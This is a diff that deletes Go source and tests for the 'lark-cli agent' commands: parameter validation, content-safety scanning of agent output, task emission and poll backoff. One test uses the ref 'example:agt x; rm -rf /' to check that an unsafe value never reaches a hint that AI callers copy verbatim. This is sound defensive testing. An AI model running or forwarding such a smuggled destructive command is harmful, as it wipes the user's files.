-	if errors.Is(err, iagent.ErrInvalidRef) {
-		return e.WithHint("agent_ref 形如 <scheme>:<agent_id>，如 example:echo")
-	}
-	return e.WithHint("用 lark-cli agent list 查看可用 provider")
-}
-
-// resolveProvider resolves the identity and constructs the Provider addressed
-// by ref backed by a configured API client, for commands that actually call the
-// remote API. Ref/scheme validation runs first (via resolveProviderNoClient) so
-// a malformed ref or unknown scheme is a validation error (exit 2) surfaced
-// BEFORE the config gate — an unconfigured user still gets the precise error,
-// not not_configured. Only after the ref is valid does it require a
-// configured client (not_configured / exit 3 is correct for a real API call).
-//
-// Wiring rule: every verb that calls the real API MUST run preflightScopesForRef
-// right after this succeeds and before the API call, so a new verb is
-// never silently exempt from the local scope preflight.
-func resolveProvider(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
-	_, id, err := resolveProviderNoClient(f, cmd, ref, asStr)
-	if err != nil {
-		return nil, "", err
-	}
-	apiClient, err := f.NewAPIClient()
-	if err != nil {
-		return nil, "", err
-	}
-	p, err := iagent.Resolve(ref, iagent.Deps{Client: apiClient, As: id})
-	if err != nil {
-		return nil, "", wrapRefResolveError(err)
-	}
-	return p, id, nil
-}
-
-// cardHint builds the "check the agent card" hint. The ref is user-echoed
-// input: when it passes the safeNextRef whitelist the hint carries the
-// copy-pasteable command; otherwise it degrades to plain guidance without any
-// interpolated command (a ref containing spaces would make the command
-// non-copy-pasteable, and the hint is what an AI copies verbatim).
-func cardHint(ref, what string) string {
-	if safeNextRef(ref) {
-		return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
-	}
-	return fmt.Sprintf("查看该 agent 的能力卡片（agent card 命令）确认%s", what)
-}
-
-// parseAndValidateParams parses `key=value` --param pairs and validates them
-// against the card's Parameters declaration: every Required parameter must be
-// present, and every provided key must be declared (an undeclared key
-// would otherwise be silently dropped by the provider). A pair without '=' (or
-// an empty key), a missing required parameter, or an unknown key returns a
-// validation typed error (subtype invalid_argument, param "param:<key>")
-// whose hint points at `agent card <ref>`. A nil card skips both
-// card-driven checks.
-func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
-	m := make(map[string]string, len(kvs))
-	for _, kv := range kvs {
-		k, v, ok := strings.Cut(kv, "=")
-		if !ok || k == "" {
-			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"--param 格式应为 key=value，得到 %q", kv).
-				WithParam("--param").
-				WithHint("以 --param key=value 形式重发")
-		}
-		m[k] = v
-	}
-	if card != nil {
-		declared := make(map[string]bool, len(card.Parameters))
-		for _, p := range card.Parameters {
-			declared[p.Name] = true
-		}
-		// Unknown keys are checked in input order so the reported key is
-		// deterministic when several are undeclared.
-		for _, kv := range kvs {
-			k, _, _ := strings.Cut(kv, "=")
-			if !declared[k] {
-				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"未知参数 %s（该 agent 未声明此参数）", k).
-					WithParam("param:"+k).
-					WithHint("%s", cardHint(ref, " parameters 声明"))
-			}
-		}
-		for _, p := range card.Parameters {
-			if !p.Required {
-				continue
-			}
-			if _, ok := m[p.Name]; !ok {
-				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"缺少必填参数 %s（该 agent 要求）", p.Name).
-					WithParam("param:"+p.Name).
-					WithHint("%s", cardHint(ref, " parameters 声明"))
-			}
-		}
-	}
-	return m, nil
-}
-
-// emitTask writes a task result: the standard success envelope carrying
-// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
-// the key:value human view. Because the agent's messages/artifacts are
-// untrusted external content, the payload is run through content-safety
-// scanning before emission on BOTH paths (and the pretty path additionally
-// ANSI-strips agent text). A --jq expression, when the leaf command registers
-// one, implies structured JSON and filters stdout.
-func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
-	out := f.IOStreams.Out
-	errOut := f.IOStreams.ErrOut
-
-	scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
-	if scan.Blocked {
-		return scan.BlockErr
-	}
-
-	if format == "pretty" && jqExpr(cmd) == "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		printTaskPretty(out, task)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data:     task,
-		Notice:   output.GetNotice(),
-	}
-	if len(next) > 0 {
-		env.Meta = &output.Meta{Next: next}
-	}
-	if scan.Alert != nil {
-		env.ContentSafetyAlert = scan.Alert
-	}
-
-	if jq := jqExpr(cmd); jq != "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		return output.JqFilter(out, env, jq)
-	}
-	output.PrintJson(out, env)
-	return nil
-}
-
-// jqExpr reads the --jq flag value if the leaf command registered one; absent
-// otherwise.
-func jqExpr(cmd *cobra.Command) string {
-	if cmd == nil { // options structs built directly in tests may carry no Cmd
-		return ""
-	}
-	if f := cmd.Flags().Lookup("jq"); f != nil {
-		return f.Value.String()
-	}
-	return ""
-}
-
-// capabilityError returns the unsupported_capability validation error (exit 2)
-// used for capability gating: capHuman is the human-facing action (e.g.
-// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
-// interpolates ref only when it passes the whitelist (cardHint).
-func capabilityError(ref, capHuman, capKey string) error {
-	return errs.NewValidationError(
-		errs.SubtypeUnsupportedCapability,
-		"agent '%s' 不支持 '%s'（capability %s=false）", ref, capHuman, capKey,
-	).WithHint("%s", cardHint(ref, "支持的能力"))
-}
-
-// normalizeTask derives the redundant IsTerminal flag from State — the single
-// source of truth — the moment a task enters the command layer, so a provider
-// that forgets (or mis-fills) the flag can never skew watch exit codes or an
-// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
-func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
-	if t != nil {
-		t.IsTerminal = t.State.IsTerminal()
-	}
-	return t
-}
-
-// normalizeTaskSummaries derives IsTerminal from State for every summary (same
-// single-source rule as normalizeTask), returning the slice for chaining.
-func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
-	for i := range ts {
-		ts[i].IsTerminal = ts[i].State.IsTerminal()
-	}
-	return ts
-}
-
-// pollToStop polls GetTask with exponential backoff (1s → 5s cap) until the
-// task hits a stop condition (terminal, input_required, or auth_required)
-// or ctx is done. A timeout is not a failure: it returns the most recent
-// task with a nil error, letting the caller print the current state (exit 0). A
-// provider GetTask error is surfaced.
-func pollToStop(ctx context.Context, p *iagent.Provider, taskID string) (*iagent.AgentTask, error) {
-	const (
-		initialDelay = time.Second
-		maxDelay     = 5 * time.Second
-	)
-	var last *iagent.AgentTask
-	delay := initialDelay
-	for {
-		task, err := p.GetTask(ctx, taskID)
-		if err != nil {
-			return last, err
-		}
-		last = task
-		if task.State.ShouldStopPolling() {
-			return task, nil
-		}
-		if ctx.Err() != nil {
-			return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
-		}
-		if !sleep(ctx, delay) {
-			// ctx canceled during backoff → observation window closed, not a
-			// task failure.
-			return last, nil
-		}
-		if delay < maxDelay {
-			if delay *= 2; delay > maxDelay {
-				delay = maxDelay
-			}
-		}
-	}
-}
-
-// semanticExitError maps a wait/watch terminal task to the semantic exit code:
-// a non-successful terminal state (failed/rejected/canceled) yields a
-// silent exit-1 signal; any other state (including a successful terminal or a
-// non-terminal stop like input_required) yields nil. A nil task yields nil.
-func semanticExitError(task *iagent.AgentTask) error {
-	if task == nil || !task.IsTerminal {
-		return nil
-	}
-	switch task.State {
-	case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
-		return output.ErrBare(1)
-	default:
-		return nil
-	}
-}

cmd/agent/common_test.go

@@ -1,798 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	extcs "github.com/larksuite/cli/extension/contentsafety"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-func TestValidateParamsAgainstCard(t *testing.T) {
-	// Card mixes a required and an optional param so both loop branches run:
-	// the optional param must be skipped (the `!p.Required continue` path) while
-	// the required one is still enforced.
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{
-		{Name: "app_id", Required: true},
-		{Name: "locale", Required: false},
-	}}
-	// missing required
-	if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
-		t.Error("missing required app_id should error")
-	}
-	// provide required, omit optional: the optional param is skipped and must not error
-	m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
-	if err != nil || m["app_id"] != "app_sales" {
-		t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
-	}
-	if _, ok := m["locale"]; ok {
-		t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
-	}
-	// invalid format
-	if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
-		t.Error("--param without = should error")
-	}
-}
-
-// TestParseParams_ValueWithEquals ensures values may themselves contain '='
-// (only the first '=' splits key from value).
-func TestParseParams_ValueWithEquals(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
-	m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
-	if err != nil {
-		t.Fatalf("a value containing = should not error: %v", err)
-	}
-	if m["filter"] != "a=b" {
-		t.Fatalf("value should preserve =, got %q", m["filter"])
-	}
-}
-
-// TestParseParams_EmptyKey rejects an empty key (leading '=').
-func TestParseParams_EmptyKey(t *testing.T) {
-	if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
-		t.Error("empty key should error")
-	}
-}
-
-// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
-// card's Parameters is a validation error (subtype invalid_argument, param
-// "param:<key>") whose hint points at `agent card`; a declared optional key
-// still passes.
-func TestParseParams_UnknownKeyRejected(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
-	m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
-	if err != nil || m["foo"] != "1" {
-		t.Fatalf("a declared optional param should pass: %v %v", m, err)
-	}
-
-	_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
-	if err == nil {
-		t.Fatal("an undeclared --param should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "param:bar" {
-		t.Fatalf("param should be param:bar, got %+v", verr)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card example:agt_x") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
-func TestParseParams_NilCard(t *testing.T) {
-	m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
-	if err != nil || m["k"] != "v" {
-		t.Fatalf("nil card should parse normally: %v %v", m, err)
-	}
-}
-
-// TestParseParams_MissingRequiredIsValidation confirms the missing-required
-// error is a validation typed error with subtype invalid_argument, its param
-// carries the param: prefix, and its hint points at agent card (Task 2 review
-// leftover).
-func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
-	_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
-	if err == nil {
-		t.Fatal("missing required should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "param:app_id" {
-		t.Fatalf("param should be param:app_id, got %+v", verr)
-	}
-	if !strings.Contains(p.Hint, "agent card example:agt_x") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
-// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
-// echoed into the hint command; the hint degrades to plain guidance instead.
-func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
-	dirtyRef := "example:agt x; rm -rf /"
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
-
-	_, err := parseAndValidateParams([]string{}, card, dirtyRef)
-	if err == nil {
-		t.Fatal("missing required should error")
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Hint == "" {
-		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
-	}
-	if strings.Contains(p.Hint, dirtyRef) {
-		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
-	}
-
-	// the unknown-param path is handled the same way.
-	_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
-	if err == nil {
-		t.Fatal("an undeclared param should error")
-	}
-	p, _ = errs.ProblemOf(err)
-	if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
-		t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
-	}
-}
-
-// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
-// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
-func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
-	err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Hint == "" {
-		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
-	}
-	if strings.Contains(p.Hint, "example:agt x") {
-		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
-	}
-}
-
-// TestCapabilityError pins the unsupported_capability contract.
-func TestCapabilityError(t *testing.T) {
-	err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
-	if err == nil {
-		t.Fatal("should return an error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
-	}
-}
-
-// TestSemanticExitError maps terminal task states to the wait/watch exit code.
-func TestSemanticExitError(t *testing.T) {
-	cases := []struct {
-		state    iagent.TaskState
-		wantExit int
-	}{
-		{iagent.StateCompleted, output.ExitOK},
-		{iagent.StateFailed, 1},
-		{iagent.StateRejected, 1},
-		{iagent.StateCanceled, 1},
-		{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
-		{iagent.StateWorking, output.ExitOK},
-	}
-	for _, c := range cases {
-		task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
-		err := semanticExitError(task)
-		if got := output.ExitCodeOf(err); got != c.wantExit {
-			t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
-		}
-	}
-	// nil task should not panic and is treated as success
-	if err := semanticExitError(nil); err != nil {
-		t.Errorf("nil task should return nil, got %v", err)
-	}
-}
-
-// fakePollProvider drives pollToStop through a scripted state sequence. It is
-// not registered, so provider() only wires GetTask (the sole field pollToStop
-// touches); calls/err stay observable on the struct after the poll.
-type fakePollProvider struct {
-	states []iagent.TaskState
-	calls  int
-	err    error
-}
-
-func (f *fakePollProvider) provider() *iagent.Provider {
-	return &iagent.Provider{
-		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
-			if f.err != nil {
-				return nil, f.err
-			}
-			i := f.calls
-			if i >= len(f.states) {
-				i = len(f.states) - 1
-			}
-			f.calls++
-			s := f.states[i]
-			return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
-		},
-	}
-}
-
-// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
-func TestPollToStop_ReachesTerminal(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
-	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task == nil || task.State != iagent.StateCompleted {
-		t.Fatalf("should stop at completed, got %+v", task)
-	}
-	if p.calls < 3 {
-		t.Fatalf("should poll at least 3 times, got %d", p.calls)
-	}
-}
-
-// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
-func TestPollToStop_StopsOnInputRequired(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
-	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task.State != iagent.StateInputRequired {
-		t.Fatalf("should stop at input_required, got %s", task.State)
-	}
-}
-
-// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
-// current task with a nil error (exit 0), not a failure.
-func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	ctx, cancel := context.WithCancel(context.Background())
-	cancel() // expire immediately
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
-	task, err := pollToStop(ctx, p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("timeout should not be treated as failure: %v", err)
-	}
-	if task == nil || task.State != iagent.StateWorking {
-		t.Fatalf("timeout should return the current task, got %+v", task)
-	}
-}
-
-// TestPollToStop_GetTaskError surfaces a provider error.
-func TestPollToStop_GetTaskError(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
-	if _, err := pollToStop(context.Background(), p.provider(), "chat_1"); err == nil {
-		t.Fatal("a GetTask error should propagate")
-	}
-}
-
-// swapSleep replaces the package sleep with a no-op for fast tests.
-func swapSleep() func() {
-	orig := sleep
-	sleep = func(context.Context, time.Duration) bool { return true }
-	return func() { sleep = orig }
-}
-
-// swapSleepCapture replaces the package sleep with a no-op that records every
-// backoff duration it was asked to wait, so tests can assert the exponential /
-// clamp schedule. It always returns true (full duration elapsed).
-func swapSleepCapture(delays *[]time.Duration) func() {
-	orig := sleep
-	sleep = func(_ context.Context, d time.Duration) bool {
-		*delays = append(*delays, d)
-		return true
-	}
-	return func() { sleep = orig }
-}
-
-// swapSleepFalseAt replaces the package sleep with a no-op that returns false
-// (as if ctx were canceled during backoff) on the falseCall-th invocation
-// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
-// branch in isolation without racing a real ctx timeout.
-func swapSleepFalseAt(falseCall int) func() {
-	orig := sleep
-	n := 0
-	sleep = func(context.Context, time.Duration) bool {
-		n++
-		return n != falseCall
-	}
-	return func() { sleep = orig }
-}
-
-// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
-// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
-// captured schedule must never exceed maxDelay and must actually reach it.
-func TestPollToStop_ClampsDelayToMax(t *testing.T) {
-	var delays []time.Duration
-	restore := swapSleepCapture(&delays)
-	defer restore()
-
-	// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
-	p := &fakePollProvider{states: []iagent.TaskState{
-		iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
-		iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
-	}}
-	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task == nil || task.State != iagent.StateCompleted {
-		t.Fatalf("should stop at completed, got %+v", task)
-	}
-	want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
-	if len(delays) != len(want) {
-		t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
-	}
-	for i, d := range delays {
-		if d > 5*time.Second {
-			t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
-		}
-		if d != want[i] {
-			t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
-		}
-	}
-}
-
-// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
-// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
-// sleep, but sleep reports the wait was cut short, so pollToStop returns the
-// most recent task with a nil error (not a failure).
-func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
-	restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
-	task, err := pollToStop(context.Background(), p.provider(), "chat_1")
-	if err != nil {
-		t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
-	}
-	if task == nil || task.State != iagent.StateWorking {
-		t.Fatalf("should return the working task observed before interruption, got %+v", task)
-	}
-	if p.calls != 1 {
-		t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
-	}
-}
-
-// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
-// returns its value; a command without the flag returns "".
-func TestJqExpr(t *testing.T) {
-	withFlag := &cobra.Command{Use: "get"}
-	withFlag.Flags().String("jq", "", "")
-	if err := withFlag.Flags().Set("jq", ".state"); err != nil {
-		t.Fatal(err)
-	}
-	if got := jqExpr(withFlag); got != ".state" {
-		t.Errorf("with a --jq flag it should return its value, got %q", got)
-	}
-
-	noFlag := &cobra.Command{Use: "list"}
-	if got := jqExpr(noFlag); got != "" {
-		t.Errorf("without a --jq flag it should return empty, got %q", got)
-	}
-}
-
-// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
-// non-empty (required for content-safety scanning to engage) and optionally
-// registers a --jq flag with the given value.
-func newEmitCmd(name, jq string) *cobra.Command {
-	root := &cobra.Command{Use: "lark-cli"}
-	agentGroup := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: name}
-	root.AddCommand(agentGroup)
-	agentGroup.AddCommand(leaf)
-	if jq != "" {
-		leaf.Flags().String("jq", "", "")
-		_ = leaf.Flags().Set("jq", jq)
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// emitFactory returns a Factory writing to fresh out/err buffers.
-func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{
-		IOStreams:        &cmdutil.IOStreams{Out: out, ErrOut: errOut},
-		ResolvedIdentity: core.AsBot,
-	}
-	return f, out, errOut
-}
-
-// csProvider is a content-safety provider stub returning a fixed alert.
-type csProvider struct{ alert *extcs.Alert }
-
-func (p *csProvider) Name() string { return "test" }
-func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
-	return p.alert, nil
-}
-
-// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
-// lands on stdout with ok=true and the identity.
-func TestEmitTask_PlainSuccess(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
-	if err := emitTask(f, cmd, task, next, "json"); err != nil {
-		t.Fatalf("emit should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK || env.Identity != string(core.AsBot) {
-		t.Errorf("ok/identity mismatch: %+v", env)
-	}
-	if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
-		t.Errorf("meta.next should appear in the output: %s", out.String())
-	}
-}
-
-// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
-// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
-// so "meta" is absent from the serialized envelope. Covers both len(next)==0
-// inputs the branch can receive.
-func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
-	for _, tc := range []struct {
-		name string
-		next []output.NextAction
-	}{
-		{"nil next", nil},
-		{"empty non-nil next", []output.NextAction{}},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			f, out, _ := emitFactory()
-			cmd := newEmitCmd("task", "")
-			task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-			if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
-				t.Fatalf("emit should not error: %v", err)
-			}
-			var env output.Envelope
-			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-				t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
-			}
-			if env.Meta != nil {
-				t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
-			}
-			if strings.Contains(out.String(), `"meta"`) {
-				t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
-			}
-		})
-	}
-}
-
-// TestEmitTask_JqFilter routes stdout through a valid jq expression.
-func TestEmitTask_JqFilter(t *testing.T) {
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", ".data.state")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("jq filtering should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "working" {
-		t.Errorf("jq .data.state should output working, got %q", got)
-	}
-}
-
-// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
-func TestEmitTask_JqFilterError(t *testing.T) {
-	f, _, _ := emitFactory()
-	cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err == nil {
-		t.Fatal("a malformed jq expression should error")
-	}
-}
-
-// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
-// without blocking output.
-func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("warn mode should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("unmarshal: %v (%s)", err, out.String())
-	}
-	if env.ContentSafetyAlert == nil {
-		t.Error("warn mode should attach the alert to the envelope")
-	}
-}
-
-// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
-// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
-// still filters stdout.
-func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, errOut := emitFactory()
-	cmd := newEmitCmd("task", ".data.state")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-
-	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
-		t.Fatalf("warn+jq should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "working" {
-		t.Errorf("jq output should be working, got %q", got)
-	}
-	if !strings.Contains(errOut.String(), "content safety alert") {
-		t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
-	}
-}
-
-// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
-// to stdout.
-func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
-	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
-	defer extcs.Register(nil)
-
-	f, out, _ := emitFactory()
-	cmd := newEmitCmd("task", "")
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
-
-	err := emitTask(f, cmd, task, nil, "json")
-	if err == nil {
-		t.Fatal("block mode should return BlockErr")
-	}
-	if !errs.IsContentSafety(err) {
-		t.Errorf("should be a content-safety error, got %T", err)
-	}
-	if out.Len() > 0 {
-		t.Errorf("block mode should not write to stdout, got %q", out.String())
-	}
-}
-
-// resolveCmd builds an `agent card` command carrying an `--as` flag. When
-// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
-// the passed identity verbatim (needed to exercise the identity-check branch).
